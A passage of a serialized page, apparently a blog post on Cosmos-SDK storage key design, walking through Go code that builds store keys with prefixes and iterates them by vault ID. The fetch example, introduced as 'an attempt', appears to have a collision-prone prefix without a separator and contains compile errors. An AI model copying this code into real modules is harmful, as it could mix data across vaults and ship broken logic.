tyle":136},[89442],{"type":29,"value":87570},{"type":24,"tag":90,"props":89444,"children":89445},{"style":114},[89446],{"type":29,"value":87452},{"type":24,"tag":90,"props":89448,"children":89449},{"class":92,"line":782},[89450],{"type":24,"tag":90,"props":89451,"children":89452},{"style":114},[89453],{"type":29,"value":25727},{"type":24,"tag":90,"props":89455,"children":89456},{"class":92,"line":791},[89457,89461,89465,89469,89473,89477,89481,89485],{"type":24,"tag":90,"props":89458,"children":89459},{"style":136},[89460],{"type":29,"value":87422},{"type":24,"tag":90,"props":89462,"children":89463},{"style":114},[89464],{"type":29,"value":226},{"type":24,"tag":90,"props":89466,"children":89467},{"style":108},[89468],{"type":29,"value":87476},{"type":24,"tag":90,"props":89470,"children":89471},{"style":114},[89472],{"type":29,"value":117},{"type":24,"tag":90,"props":89474,"children":89475},{"style":136},[89476],{"type":29,"value":87511},{"type":24,"tag":90,"props":89478,"children":89479},{"style":114},[89480],{"type":29,"value":133},{"type":24,"tag":90,"props":89482,"children":89483},{"style":136},[89484],{"type":29,"value":87570},{"type":24,"tag":90,"props":89486,"children":89487},{"style":114},[89488],{"type":29,"value":1686},{"type":24,"tag":90,"props":89490,"children":89491},{"class":92,"line":799},[89492],{"type":24,"tag":90,"props":89493,"children":89494},{"emptyLinePlaceholder":16},[89495],{"type":29,"value":245},{"type":24,"tag":90,"props":89497,"children":89498},{"class":92,"line":807},[89499,89503,89507,89511,89515,89519],{"type":24,"tag":90,"props":89500,"children":89501},{"style":136},[89502],{"type":29,"value":88505},{"type":24,"tag":90,"props":89504,"children":89505},{"style":120},[89506],{"type":29,"value":78246},{"type":24,"tag":90,"props":89508,"children":89509},{"style":136},[89510],{"type":29,"value":84064},{"type":24,"tag":90,"props":89512,"children":89513},{"style":114},[89514],{"type":29,"value":226},{"type":24,"tag":90,"props":89516,"children":89517},{"style":108},[89518],{"type":29,"value":87053},{"type":24,"tag":90,"props":89520,"children":89521},{"style":114},[89522],{"type":29,"value":680},{"type":24,"tag":90,"props":89524,"children":89525},{"class":92,"line":821},[89526,89531],{"type":24,"tag":90,"props":89527,"children":89528},{"style":1085},[89529],{"type":29,"value":89530}," \"%s%d%s%s%s%s\"",{"type":24,"tag":90,"props":89532,"children":89533},{"style":114},[89534],{"type":29,"value":748},{"type":24,"tag":90,"props":89536,"children":89537},{"class":92,"line":6278},[89538,89543],{"type":24,"tag":90,"props":89539,"children":89540},{"style":136},[89541],{"type":29,"value":89542}," PositionMapPrefix",{"type":24,"tag":90,"props":89544,"children":89545},{"style":114},[89546],{"type":29,"value":748},{"type":24,"tag":90,"props":89548,"children":89549},{"class":92,"line":11420},[89550,89554],{"type":24,"tag":90,"props":89551,"children":89552},{"style":136},[89553],{"type":29,"value":88545},{"type":24,"tag":90,"props":89555,"children":89556},{"style":114},[89557],{"type":29,"value":748},{"type":24,"tag":90,"props":89559,"children":89560},{"class":92,"line":11438},[89561,89565],{"type":24,"tag":90,"props":89562,"children":89563},{"style":136},[89564],{"type":29,"value":88557},{"type":24,"tag":90,"props":89566,"children":89567},{"style":114},[89568],{"type":29,"value":748},{"type":24,"tag":90,"props":89570,"children":89571},{"class":92,"line":11483},[89572,89576],{"type":24,"tag":90,"props":89573,"children":89574},{"style":136},[89575],{"type":29,"value":88569},{"type":24,"tag":90,"props":89577,"children":89578},{"style":114},[89579],{"type":29,"value":748},{"type":24,"tag":90,"props":89581,"children":89582},{"class":92,"line":11589},[89583,89587],{"type":24,"tag":90,"props":89584,"children":89585},{"style":136},[89586],{"type":29,"value":88557},{"type":24,"tag":90,"props":89588,"children":89589},{"style":114},[89590],{"type":29,"value":748},{"type":24,"tag":90,"props":89592,"children":89593},{"class":92,"line":25306},[89594,89598],{"type":24,"tag":90,"props":89595,"children":89596},{"style":136},[89597],{"type":29,"value":88592},{"type":24,"tag":90,"props":89599,"children":89600},{"style":114},[89601],{"type":29,"value":748},{"type":24,"tag":90,"props":89603,"children":89604},{"class":92,"line":25341},[89605],{"type":24,"tag":90,"props":89606,"children":89607},{"style":114},[89608],{"type":29,"value":25727},{"type":24,"tag":90,"props":89610,"children":89611},{"class":92,"line":25349},[89612],{"type":24,"tag":90,"props":89613,"children":89614},{"style":114},[89615],{"type":29,"value":827},{"type":24,"tag":90,"props":89617,"children":89618},{"class":92,"line":25357},[89619],{"type":24,"tag":90,"props":89620,"children":89621},{"emptyLinePlaceholder":16},[89622],{"type":29,"value":245},{"type":24,"tag":90,"props":89624,"children":89625},{"class":92,"line":25366},[89626],{"type":24,"tag":90,"props":89627,"children":89628},{"emptyLinePlaceholder":16},[89629],{"type":29,"value":245},{"type":24,"tag":90,"props":89631,"children":89632},{"class":92,"line":25408},[89633,89637,89641],{"type":24,"tag":90,"props":89634,"children":89635},{"style":97},[89636],{"type":29,"value":78130},{"type":24,"tag":90,"props":89638,"children":89639},{"style":108},[89640],{"type":29,"value":88636},{"type":24,"tag":90,"props":89642,"children":89643},{"style":114},[89644],{"type":29,"value":680},{"type":24,"tag":90,"props":89646,"children":89647},{"class":92,"line":25441},[89648,89652,89656],{"type":24,"tag":90,"props":89649,"children":89650},{"style":136},[89651],{"type":29,"value":87077},{"type":24,"tag":90,"props":89653,"children":89654},{"style":146},[89655],{"type":29,"value":78251},{"type":24,"tag":90,"props":89657,"children":89658},{"style":114},[89659],{"type":29,"value":748},{"type":24,"tag":90,"props":89661,"children":89662},{"class":92,"line":25449},[89663,89667,89671,89675,89679,89683],{"type":24,"tag":90,"props":89664,"children":89665},{"style":136},[89666],{"type":29,"value":87089},{"type":24,"tag":90,"props":89668,"children":89669},{"style":114},[89670],{"type":29,"value":133},{"type":24,"tag":90,"props":89672,"children":89673},{"style":136},[89674],{"type":29,"value":88671},{"type":24,"tag":90,"props":89676,"children":89677},{"style":114},[89678],{"type":29,"value":78057},{"type":24,"tag":90,"props":89680,"children":89681},{"style":146},[89682],{"type":29,"value":86595},{"type":24,"tag":90,"props":89684,"children":89685},{"style":114},[89686],{"type":29,"value":748},{"type":24,"tag":90,"props":89688,"children":89689},{"class":92,"line":25457},[89690,89694,89698,89702,89706],{"type":24,"tag":90,"props":89691,"children":89692},{"style":114},[89693],{"type":29,"value":78212},{"type":24,"tag":90,"props":89695,"children":89696},{"style":136},[89697],{"type":29,"value":73984},{"type":24,"tag":90,"props":89699,"children":89700},{"style":114},[89701],{"type":29,"value":78057},{"type":24,"tag":90,"props":89703,"children":89704},{"style":146},[89705],{"type":29,"value":86595},{"type":24,"tag":90,"props":89707,"children":89708},{"style":114},[89709],{"type":29,"value":1297},{"type":24,"tag":90,"props":89711,"children":89712},{"class":92,"line":25466},[89713,89717,89721,89725],{"type":24,"tag":90,"props":89714,"children":89715},{"style":136},[89716],{"type":29,"value":87691},{"type":24,"tag":90,"props":89718,"children":89719},{"style":120},[89720],{"type":29,"value":78246},{"type":24,"tag":90,"props":89722,"children":89723},{"style":108},[89724],{"type":29,"value":87394},{"type":24,"tag":90,"props":89726,"children":89727},{"style":114},[89728],{"type":29,"value":680},{"type":24,"tag":90,"props":89730,"children":89731},{"class":92,"line":25542},[89732,89736,89740],{"type":24,"tag":90,"props":89733,"children":89734},{"style":114},[89735],{"type":29,"value":88285},{"type":24,"tag":90,"props":89737,"children":89738},{"style":146},[89739],{"type":29,"value":86595},{"type":24,"tag":90,"props":89741,"children":89742},{"style":114},[89743],{"type":29,"value":748},{"type":24,"tag":90,"props":89745,"children":89746},{"class":92,"line":25575},[89747,89751,89755,89759,89763,89767,89771,89775],{"type":24,"tag":90,"props":89748,"children":89749},{"style":136},[89750],{"type":29,"value":88301},{"type":24,"tag":90,"props":89752,"children":89753},{"style":114},[89754],{"type":29,"value":226},{"type":24,"tag":90,"props":89756,"children":89757},{"style":108},[89758],{"type":29,"value":87431},{"type":24,"tag":90,"props":89760,"children":89761},{"style":114},[89762],{"type":29,"value":117},{"type":24,"tag":90,"props":89764,"children":89765},{"style":108},[89766],{"type":29,"value":11513},{"type":24,"tag":90,"props":89768,"children":89769},{"style":114},[89770],{"type":29,"value":117},{"type":24,"tag":90,"props":89772,"children":89773},{"style":136},[89774],{"type":29,"value":87301},{"type":24,"tag":90,"props":89776,"children":89777},{"style":114},[89778],{"type":29,"value":87452},{"type":24,"tag":90,"props":89780,"children":89781},{"class":92,"line":25583},[89782],{"type":24,"tag":90,"props":89783,"children":89784},{"style":114},[89785],{"type":29,"value":25727},{"type":24,"tag":90,"props":89787,"children":89788},{"class":92,"line":25591},[89789,89793,89797,89801,89805,89809,89813,89817],{"type":24,"tag":90,"props":89790,"children":89791},{"style":136},[89792],{"type":29,"value":87422},{"type":24,"tag":90,"props":89794,"children":89795},{"style":114},[89796],{"type":29,"value":226},{"type":24,"tag":90,"props":89798,"children":89799},{"style":108},[89800],{"type":29,"value":87476},{"type":24,"tag":90,"props":89802,"children":89803},{"style":114},[89804],{"type":29,"value":117},{"type":24,"tag":90,"props":89806,"children":89807},{"style":136},[89808],{"type":29,"value":87385},{"type":24,"tag":90,"props":89810,"children":89811},{"style":114},[89812],{"type":29,"value":133},{"type":24,"tag":90,"props":89814,"children":89815},{"style":136},[89816],{"type":29,"value":87301},{"type":24,"tag":90,"props":89818,"children":89819},{"style":114},[89820],{"type":29,"value":1686},{"type":24,"tag":90,"props":89822,"children":89823},{"class":92,"line":25628},[89824],{"type":24,"tag":90,"props":89825,"children":89826},{"emptyLinePlaceholder":16},[89827],{"type":29,"value":245},{"type":24,"tag":90,"props":89829,"children":89830},{"class":92,"line":25641},[89831,89835,89839,89843],{"type":24,"tag":90,"props":89832,"children":89833},{"style":136},[89834],{"type":29,"value":88828},{"type":24,"tag":90,"props":89836,"children":89837},{"style":120},[89838],{"type":29,"value":78246},{"type":24,"tag":90,"props":89840,"children":89841},{"style":108},[89842],{"type":29,"value":87394},{"type":24,"tag":90,"props":89844,"children":89845},{"style":114},[89846],{"type":29,"value":680},{"type":24,"tag":90,"props":89848,"children":89849},{"class":92,"line":25654},[89850,89854,89858],{"type":24,"tag":90,"props":89851,"children":89852},{"style":114},[89853],{"type":29,"value":88285},{"type":24,"tag":90,"props":89855,"children":89856},{"style":146},[89857],{"type":29,"value":86595},{"type":24,"tag":90,"props":89859,"children":89860},{"style":114},[89861],{"type":29,"value":748},{"type":24,"tag":90,"props":89863,"children":89864},{"class":92,"line":25667},[89865,89869,89873,89877,89881,89885,89889,89893],{"type":24,"tag":90,"props":89866,"children":89867},{"style":136},[89868],{"type":29,"value":88301},{"type":24,"tag":90,"props":89870,"children":89871},{"style":114},[89872],{"type":29,"value":226},{"type":24,"tag":90,"props":89874,"children":89875},{"style":108},[89876],{"type":29,"value":87431},{"type":24,"tag":90,"props":89878,"children":89879},{"style":114},[89880],{"type":29,"value":117},{"type":24,"tag":90,"props":89882,"children":89883},{"style":108},[89884],{"type":29,"value":11513},{"type":24,"tag":90,"props":89886,"children":89887},{"style":114},[89888],{"type":29,"value":117},{"type":24,"tag":90,"props":89890,"children":89891},{"style":136},[89892],{"type":29,"value":88671},{"type":24,"tag":90,"props":89894,"children":89895},{"style":114},[89896],{"type":29,"value":87452},{"type":24,"tag":90,"props":89898,"children":89899},{"class":92,"line":25721},[89900],{"type":24,"tag":90,"props":89901,"children":89902},{"style":114},[89903],{"type":29,"value":25727},{"type":24,"tag":90,"props":89905,"children":89906},{"class":92,"line":25730},[89907,89911,89915,89919,89923,89927,89931,89935],{"type":24,"tag":90,"props":89908,"children":89909},{"style":136},[89910],{"type":29,"value":87422},{"type":24,"tag":90,"props":89912,"children":89913},{"style":114},[89914],{"type":29,"value":226},{"type":24,"tag":90,"props":89916,"children":89917},{"style":108},[89918],{"type":29,"value":87476},{"type":24,"tag":90,"props":89920,"children":89921},{"style":114},[89922],{"type":29,"value":117},{"type":24,"tag":90,"props":89924,"children":89925},{"style":136},[89926],{"type":29,"value":88921},{"type":24,"tag":90,"props":89928,"children":89929},{"style":114},[89930],{"type":29,"value":133},{"type":24,"tag":90,"props":89932,"children":89933},{"style":136},[89934],{"type":29,"value":88671},{"type":24,"tag":90,"props":89936,"children":89937},{"style":114},[89938],{"type":29,"value":1686},{"type":24,"tag":90,"props":89940,"children":89941},{"class":92,"line":34094},[89942],{"type":24,"tag":90,"props":89943,"children":89944},{"emptyLinePlaceholder":16},[89945],{"type":29,"value":245},{"type":24,"tag":90,"props":89947,"children":89948},{"class":92,"line":34115},[89949,89953,89957,89961,89965,89969],{"type":24,"tag":90,"props":89950,"children":89951},{"style":136},[89952],{"type":29,"value":88505},{"type":24,"tag":90,"props":89954,"children":89955},{"style":120},[89956],{"type":29,"value":78246},{"type":24,"tag":90,"props":89958,"children":89959},{"style":136},[89960],{"type":29,"value":84064},{"type":24,"tag":90,"props":89962,"children":89963},{"style":114},[89964],{"type":29,"value":226},{"type":24,"tag":90,"props":89966,"children":89967},{"style":108},[89968],{"type":29,"value":87053},{"type":24,"tag":90,"props":89970,"children":89971},{"style":114},[89972],{"type":29,"value":680},{"type":24,"tag":90,"props":89974,"children":89975},{"class":92,"line":82781},[89976,89980],{"type":24,"tag":90,"props":89977,"children":89978},{"style":1085},[89979],{"type":29,"value":89530},{"type":24,"tag":90,"props":89981,"children":89982},{"style":114},[89983],{"type":29,"value":748},{"type":24,"tag":90,"props":89985,"children":89986},{"class":92,"line":82794},[89987,89992],{"type":24,"tag":90,"props":89988,"children":89989},{"style":136},[89990],{"type":29,"value":89991}," AddressMapPrefix",{"type":24,"tag":90,"props":89993,"children":89994},{"style":114},[89995],{"type":29,"value":748},{"type":24,"tag":90,"props":89997,"children":89998},{"class":92,"line":82802},[89999,90003],{"type":24,"tag":90,"props":90000,"children":90001},{"style":136},[90002],{"type":29,"value":88545},{"type":24,"tag":90,"props":90004,"children":90005},{"style":114},[90006],{"type":29,"value":748},{"type":24,"tag":90,"props":90008,"children":90009},{"class":92,"line":82810},[90010,90014],{"type":24,"tag":90,"props":90011,"children":90012},{"style":136},[90013],{"type":29,"value":88557},{"type":24,"tag":90,"props":90015,"children":90016},{"style":114},[90017],{"type":29,"value":748},{"type":24,"tag":90,"props":90019,"children":90020},{"class":92,"line":82818},[90021,90025],{"type":24,"tag":90,"props":90022,"children":90023},{"style":136},[90024],{"type":29,"value":88569},{"type":24,"tag":90,"props":90026,"children":90027},{"style":114},[90028],{"type":29,"value":748},{"type":24,"tag":90,"props":90030,"children":90031},{"class":92,"line":82858},[90032,90036],{"type":24,"tag":90,"props":90033,"children":90034},{"style":136},[90035],{"type":29,"value":88557},{"type":24,"tag":90,"props":90037,"children":90038},{"style":114},[90039],{"type":29,"value":748},{"type":24,"tag":90,"props":90041,"children":90042},{"class":92,"line":82866},[90043,90047],{"type":24,"tag":90,"props":90044,"children":90045},{"style":136},[90046],{"type":29,"value":89030},{"type":24,"tag":90,"props":90048,"children":90049},{"style":114},[90050],{"type":29,"value":748},{"type":24,"tag":90,"props":90052,"children":90054},{"class":92,"line":90053},60,[90055],{"type":24,"tag":90,"props":90056,"children":90057},{"style":114},[90058],{"type":29,"value":25727},{"type":24,"tag":90,"props":90060,"children":90062},{"class":92,"line":90061},61,[90063],{"type":24,"tag":90,"props":90064,"children":90065},{"style":114},[90066],{"type":29,"value":827},{"type":24,"tag":25,"props":90068,"children":90069},{},[90070],{"type":29,"value":90071},"We now have a proper example of how to serialize storage keys.",{"type":24,"tag":25,"props":90073,"children":90074},{},[90075,90077,90082],{"type":29,"value":90076},"Nonetheless, there is more to storage than just this. As previously mentioned, storages are expected to support their original functionalities. In the case of ",{"type":24,"tag":32,"props":90078,"children":90080},{"className":90079},[],[90081],{"type":29,"value":68929},{"type":29,"value":90083},", data should still be retrievable through original keys.",{"type":24,"tag":25,"props":90085,"children":90086},{},[90087,90089,90095,90097,90102],{"type":29,"value":90088},"Let's look at a case where we want to retrieve all ",{"type":24,"tag":32,"props":90090,"children":90092},{"className":90091},[],[90093],{"type":29,"value":90094},"map[Username]map[PositionName]Position",{"type":29,"value":90096}," associated with a ",{"type":24,"tag":32,"props":90098,"children":90100},{"className":90099},[],[90101],{"type":29,"value":86965},{"type":29,"value":90103}," from the storage. How can we safely accomplish this?",{"type":24,"tag":25,"props":90105,"children":90106},{},[90107,90109,90114,90116,90122],{"type":29,"value":90108},"Fortunately, the Cosmos-SDK provides APIs to fetch all entries associated with a ",{"type":24,"tag":32,"props":90110,"children":90112},{"className":90111},[],[90113],{"type":29,"value":87036},{"type":29,"value":90115}," prefix. Below is an example of an attempt to fetch data with ",{"type":24,"tag":32,"props":90117,"children":90119},{"className":90118},[],[90120],{"type":29,"value":90121},"vaultId",{"type":29,"value":78},{"type":24,"tag":80,"props":90124,"children":90126},{"code":90125,"language":77994,"meta":7,"className":77995,"style":7},"func FetchPositionMapWithVaultId(\n vaultId uint64,\n) ([]map[Username]map[PositionName]Position) {\n values := map[Username]map[PositionName]Position{}\n i := sdk.KVStorePrefixIterator(\n kvStore,\n fmt.Sprintf(\"%s%d\", PositionMapPrefix, vaultId)\n )\n for ; i.Valid(); i.Next() {\n k := strings.split(i.Key(), Seperator)\n\n username := make([]byte, hex.DecodedLen(k[0]))\n _, err := hex.Decode(username, k[0])\n if err != nil {\n return nil, err\n }\n\n positionName := make([]byte, hex.DecodedLen(k[1]))\n _, err := hex.Decode(positionName, k[1])\n if err != nil {\n return nil, err\n }\n\n if entry, ok := values[username]; !ok {\n values[username] = make(map[PositionName])\n }\n\n values[username][positionName] = Position {\n data: iterator.Value(),\n }\n }\n return values\n}\n",[90127],{"type":24,"tag":32,"props":90128,"children":90129},{"__ignoreMap":7},[90130,90146,90161,90210,90262,90291,90303,90349,90356,90402,90457,90464,90528,90589,90612,90631,90638,90645,90705,90764,90787,90806,90813,90820,90873,90921,90928,90935,90975,91004,91011,91018,91030],{"type":24,"tag":90,"props":90131,"children":90132},{"class":92,"line":93},[90133,90137,90142],{"type":24,"tag":90,"props":90134,"children":90135},{"style":97},[90136],{"type":29,"value":78130},{"type":24,"tag":90,"props":90138,"children":90139},{"style":108},[90140],{"type":29,"value":90141}," FetchPositionMapWithVaultId",{"type":24,"tag":90,"props":90143,"children":90144},{"style":114},[90145],{"type":29,"value":680},{"type":24,"tag":90,"props":90147,"children":90148},{"class":92,"line":200},[90149,90153,90157],{"type":24,"tag":90,"props":90150,"children":90151},{"style":136},[90152],{"type":29,"value":87077},{"type":24,"tag":90,"props":90154,"children":90155},{"style":146},[90156],{"type":29,"value":78251},{"type":24,"tag":90,"props":90158,"children":90159},{"style":114},[90160],{"type":29,"value":748},{"type":24,"tag":90,"props":90162,"children":90163},{"class":92,"line":239},[90164,90169,90173,90177,90181,90185,90189,90193,90197,90201,90206],{"type":24,"tag":90,"props":90165,"children":90166},{"style":114},[90167],{"type":29,"value":90168},") ([]",{"type":24,"tag":90,"props":90170,"children":90171},{"style":97},[90172],{"type":29,"value":68929},{"type":24,"tag":90,"props":90174,"children":90175},{"style":114},[90176],{"type":29,"value":719},{"type":24,"tag":90,"props":90178,"children":90179},{"style":146},[90180],{"type":29,"value":86982},{"type":24,"tag":90,"props":90182,"children":90183},{"style":114},[90184],{"type":29,"value":1914},{"type":24,"tag":90,"props":90186,"children":90187},{"style":97},[90188],{"type":29,"value":68929},{"type":24,"tag":90,"props":90190,"children":90191},{"style":114},[90192],{"type":29,"value":719},{"type":24,"tag":90,"props":90194,"children":90195},{"style":146},[90196],{"type":29,"value":86999},{"type":24,"tag":90,"props":90198,"children":90199},{"style":114},[90200],{"type":29,"value":1914},{"type":24,"tag":90,"props":90202,"children":90203},{"style":146},[90204],{"type":29,"value":90205},"Position",{"type":24,"tag":90,"props":90207,"children":90208},{"style":114},[90209],{"type":29,"value":1297},{"type":24,"tag":90,"props":90211,"children":90212},{"class":92,"line":248},[90213,90218,90222,90226,90230,90234,90238,90242,90246,90250,90254,90258],{"type":24,"tag":90,"props":90214,"children":90215},{"style":136},[90216],{"type":29,"value":90217}," values",{"type":24,"tag":90,"props":90219,"children":90220},{"style":120},[90221],{"type":29,"value":78246},{"type":24,"tag":90,"props":90223,"children":90224},{"style":97},[90225],{"type":29,"value":51492},{"type":24,"tag":90,"props":90227,"children":90228},{"style":114},[90229],{"type":29,"value":719},{"type":24,"tag":90,"props":90231,"children":90232},{"style":146},[90233],{"type":29,"value":86982},{"type":24,"tag":90,"props":90235,"children":90236},{"style":114},[90237],{"type":29,"value":1914},{"type":24,"tag":90,"props":90239,"children":90240},{"style":97},[90241],{"type":29,"value":68929},{"type":24,"tag":90,"props":90243,"children":90244},{"style":114},[90245],{"type":29,"value":719},{"type":24,"tag":90,"props":90247,"children":90248},{"style":146},[90249],{"type":29,"value":86999},{"type":24,"tag":90,"props":90251,"children":90252},{"style":114},[90253],{"type":29,"value":1914},{"type":24,"tag":90,"props":90255,"children":90256},{"style":146},[90257],{"type":29,"value":90205},{"type":24,"tag":90,"props":90259,"children":90260},{"style":114},[90261],{"type":29,"value":79927},{"type":24,"tag":90,"props":90263,"children":90264},{"class":92,"line":258},[90265,90270,90274,90278,90282,90287],{"type":24,"tag":90,"props":90266,"children":90267},{"style":136},[90268],{"type":29,"value":90269}," i",{"type":24,"tag":90,"props":90271,"children":90272},{"style":120},[90273],{"type":29,"value":78246},{"type":24,"tag":90,"props":90275,"children":90276},{"style":136},[90277],{"type":29,"value":80471},{"type":24,"tag":90,"props":90279,"children":90280},{"style":114},[90281],{"type":29,"value":226},{"type":24,"tag":90,"props":90283,"children":90284},{"style":108},[90285],{"type":29,"value":90286},"KVStorePrefixIterator",{"type":24,"tag":90,"props":90288,"children":90289},{"style":114},[90290],{"type":29,"value":680},{"type":24,"tag":90,"props":90292,"children":90293},{"class":92,"line":272},[90294,90299],{"type":24,"tag":90,"props":90295,"children":90296},{"style":136},[90297],{"type":29,"value":90298}," kvStore",{"type":24,"tag":90,"props":90300,"children":90301},{"style":114},[90302],{"type":29,"value":748},{"type":24,"tag":90,"props":90304,"children":90305},{"class":92,"line":281},[90306,90311,90315,90319,90323,90328,90332,90337,90341,90345],{"type":24,"tag":90,"props":90307,"children":90308},{"style":136},[90309],{"type":29,"value":90310}," fmt",{"type":24,"tag":90,"props":90312,"children":90313},{"style":114},[90314],{"type":29,"value":226},{"type":24,"tag":90,"props":90316,"children":90317},{"style":108},[90318],{"type":29,"value":87053},{"type":24,"tag":90,"props":90320,"children":90321},{"style":114},[90322],{"type":29,"value":117},{"type":24,"tag":90,"props":90324,"children":90325},{"style":1085},[90326],{"type":29,"value":90327},"\"%s%d\"",{"type":24,"tag":90,"props":90329,"children":90330},{"style":114},[90331],{"type":29,"value":133},{"type":24,"tag":90,"props":90333,"children":90334},{"style":136},[90335],{"type":29,"value":90336},"PositionMapPrefix",{"type":24,"tag":90,"props":90338,"children":90339},{"style":114},[90340],{"type":29,"value":133},{"type":24,"tag":90,"props":90342,"children":90343},{"style":136},[90344],{"type":29,"value":90121},{"type":24,"tag":90,"props":90346,"children":90347},{"style":114},[90348],{"type":29,"value":1686},{"type":24,"tag":90,"props":90350,"children":90351},{"class":92,"line":384},[90352],{"type":24,"tag":90,"props":90353,"children":90354},{"style":114},[90355],{"type":29,"value":25727},{"type":24,"tag":90,"props":90357,"children":90358},{"class":92,"line":420},[90359,90363,90368,90372,90376,90381,90385,90389,90393,90398],{"type":24,"tag":90,"props":90360,"children":90361},{"style":636},[90362],{"type":29,"value":5434},{"type":24,"tag":90,"props":90364,"children":90365},{"style":114},[90366],{"type":29,"value":90367}," ; ",{"type":24,"tag":90,"props":90369,"children":90370},{"style":136},[90371],{"type":29,"value":6123},{"type":24,"tag":90,"props":90373,"children":90374},{"style":114},[90375],{"type":29,"value":226},{"type":24,"tag":90,"props":90377,"children":90378},{"style":108},[90379],{"type":29,"value":90380},"Valid",{"type":24,"tag":90,"props":90382,"children":90383},{"style":114},[90384],{"type":29,"value":30258},{"type":24,"tag":90,"props":90386,"children":90387},{"style":136},[90388],{"type":29,"value":6123},{"type":24,"tag":90,"props":90390,"children":90391},{"style":114},[90392],{"type":29,"value":226},{"type":24,"tag":90,"props":90394,"children":90395},{"style":108},[90396],{"type":29,"value":90397},"Next",{"type":24,"tag":90,"props":90399,"children":90400},{"style":114},[90401],{"type":29,"value":2245},{"type":24,"tag":90,"props":90403,"children":90404},{"class":92,"line":428},[90405,90410,90414,90419,90423,90427,90431,90435,90439,90444,90448,90453],{"type":24,"tag":90,"props":90406,"children":90407},{"style":136},[90408],{"type":29,"value":90409}," k",{"type":24,"tag":90,"props":90411,"children":90412},{"style":120},[90413],{"type":29,"value":78246},{"type":24,"tag":90,"props":90415,"children":90416},{"style":136},[90417],{"type":29,"value":90418}," strings",{"type":24,"tag":90,"props":90420,"children":90421},{"style":114},[90422],{"type":29,"value":226},{"type":24,"tag":90,"props":90424,"children":90425},{"style":108},[90426],{"type":29,"value":71870},{"type":24,"tag":90,"props":90428,"children":90429},{"style":114},[90430],{"type":29,"value":117},{"type":24,"tag":90,"props":90432,"children":90433},{"style":136},[90434],{"type":29,"value":6123},{"type":24,"tag":90,"props":90436,"children":90437},{"style":114},[90438],{"type":29,"value":226},{"type":24,"tag":90,"props":90440,"children":90441},{"style":108},[90442],{"type":29,"value":90443},"Key",{"type":24,"tag":90,"props":90445,"children":90446},{"style":114},[90447],{"type":29,"value":4900},{"type":24,"tag":90,"props":90449,"children":90450},{"style":136},[90451],{"type":29,"value":90452},"Seperator",{"type":24,"tag":90,"props":90454,"children":90455},{"style":114},[90456],{"type":29,"value":1686},{"type":24,"tag":90,"props":90458,"children":90459},{"class":92,"line":437},[90460],{"type":24,"tag":90,"props":90461,"children":90462},{"emptyLinePlaceholder":16},[90463],{"type":29,"value":245},{"type":24,"tag":90,"props":90465,"children":90466},{"class":92,"line":574},[90467,90472,90476,90480,90485,90489,90493,90497,90501,90506,90510,90515,90519,90523],{"type":24,"tag":90,"props":90468,"children":90469},{"style":136},[90470],{"type":29,"value":90471}," username",{"type":24,"tag":90,"props":90473,"children":90474},{"style":120},[90475],{"type":29,"value":78246},{"type":24,"tag":90,"props":90477,"children":90478},{"style":108},[90479],{"type":29,"value":87394},{"type":24,"tag":90,"props":90481,"children":90482},{"style":114},[90483],{"type":29,"value":90484},"([]",{"type":24,"tag":90,"props":90486,"children":90487},{"style":146},[90488],{"type":29,"value":86595},{"type":24,"tag":90,"props":90490,"children":90491},{"style":114},[90492],{"type":29,"value":133},{"type":24,"tag":90,"props":90494,"children":90495},{"style":136},[90496],{"type":29,"value":87467},{"type":24,"tag":90,"props":90498,"children":90499},{"style":114},[90500],{"type":29,"value":226},{"type":24,"tag":90,"props":90502,"children":90503},{"style":108},[90504],{"type":29,"value":90505},"DecodedLen",{"type":24,"tag":90,"props":90507,"children":90508},{"style":114},[90509],{"type":29,"value":117},{"type":24,"tag":90,"props":90511,"children":90512},{"style":136},[90513],{"type":29,"value":90514},"k",{"type":24,"tag":90,"props":90516,"children":90517},{"style":114},[90518],{"type":29,"value":719},{"type":24,"tag":90,"props":90520,"children":90521},{"style":349},[90522],{"type":29,"value":6408},{"type":24,"tag":90,"props":90524,"children":90525},{"style":114},[90526],{"type":29,"value":90527},"]))\n",{"type":24,"tag":90,"props":90529,"children":90530},{"class":92,"line":606},[90531,90535,90539,90543,90547,90552,90556,90561,90565,90569,90573,90577,90581,90585],{"type":24,"tag":90,"props":90532,"children":90533},{"style":136},[90534],{"type":29,"value":29557},{"type":24,"tag":90,"props":90536,"children":90537},{"style":114},[90538],{"type":29,"value":133},{"type":24,"tag":90,"props":90540,"children":90541},{"style":136},[90542],{"type":29,"value":50243},{"type":24,"tag":90,"props":90544,"children":90545},{"style":120},[90546],{"type":29,"value":78246},{"type":24,"tag":90,"props":90548,"children":90549},{"style":136},[90550],{"type":29,"value":90551}," hex",{"type":24,"tag":90,"props":90553,"children":90554},{"style":114},[90555],{"type":29,"value":226},{"type":24,"tag":90,"props":90557,"children":90558},{"style":108},[90559],{"type":29,"value":90560},"Decode",{"type":24,"tag":90,"props":90562,"children":90563},{"style":114},[90564],{"type":29,"value":117},{"type":24,"tag":90,"props":90566,"children":90567},{"style":136},[90568],{"type":29,"value":87301},{"type":24,"tag":90,"props":90570,"children":90571},{"style":114},[90572],{"type":29,"value":133},{"type":24,"tag":90,"props":90574,"children":90575},{"style":136},[90576],{"type":29,"value":90514},{"type":24,"tag":90,"props":90578,"children":90579},{"style":114},[90580],{"type":29,"value":719},{"type":24,"tag":90,"props":90582,"children":90583},{"style":349},[90584],{"type":29,"value":6408},{"type":24,"tag":90,"props":90586,"children":90587},{"style":114},[90588],{"type":29,"value":57265},{"type":24,"tag":90,"props":90590,"children":90591},{"class":92,"line":615},[90592,90596,90600,90604,90608],{"type":24,"tag":90,"props":90593,"children":90594},{"style":636},[90595],{"type":29,"value":5667},{"type":24,"tag":90,"props":90597,"children":90598},{"style":136},[90599],{"type":29,"value":50344},{"type":24,"tag":90,"props":90601,"children":90602},{"style":120},[90603],{"type":29,"value":66213},{"type":24,"tag":90,"props":90605,"children":90606},{"style":97},[90607],{"type":29,"value":83748},{"type":24,"tag":90,"props":90609,"children":90610},{"style":114},[90611],{"type":29,"value":269},{"type":24,"tag":90,"props":90613,"children":90614},{"class":92,"line":623},[90615,90619,90623,90627],{"type":24,"tag":90,"props":90616,"children":90617},{"style":636},[90618],{"type":29,"value":80906},{"type":24,"tag":90,"props":90620,"children":90621},{"style":97},[90622],{"type":29,"value":83748},{"type":24,"tag":90,"props":90624,"children":90625},{"style":114},[90626],{"type":29,"value":133},{"type":24,"tag":90,"props":90628,"children":90629},{"style":136},[90630],{"type":29,"value":85469},{"type":24,"tag":90,"props":90632,"children":90633},{"class":92,"line":632},[90634],{"type":24,"tag":90,"props":90635,"children":90636},{"style":114},[90637],{"type":29,"value":5740},{"type":24,"tag":90,"props":90639,"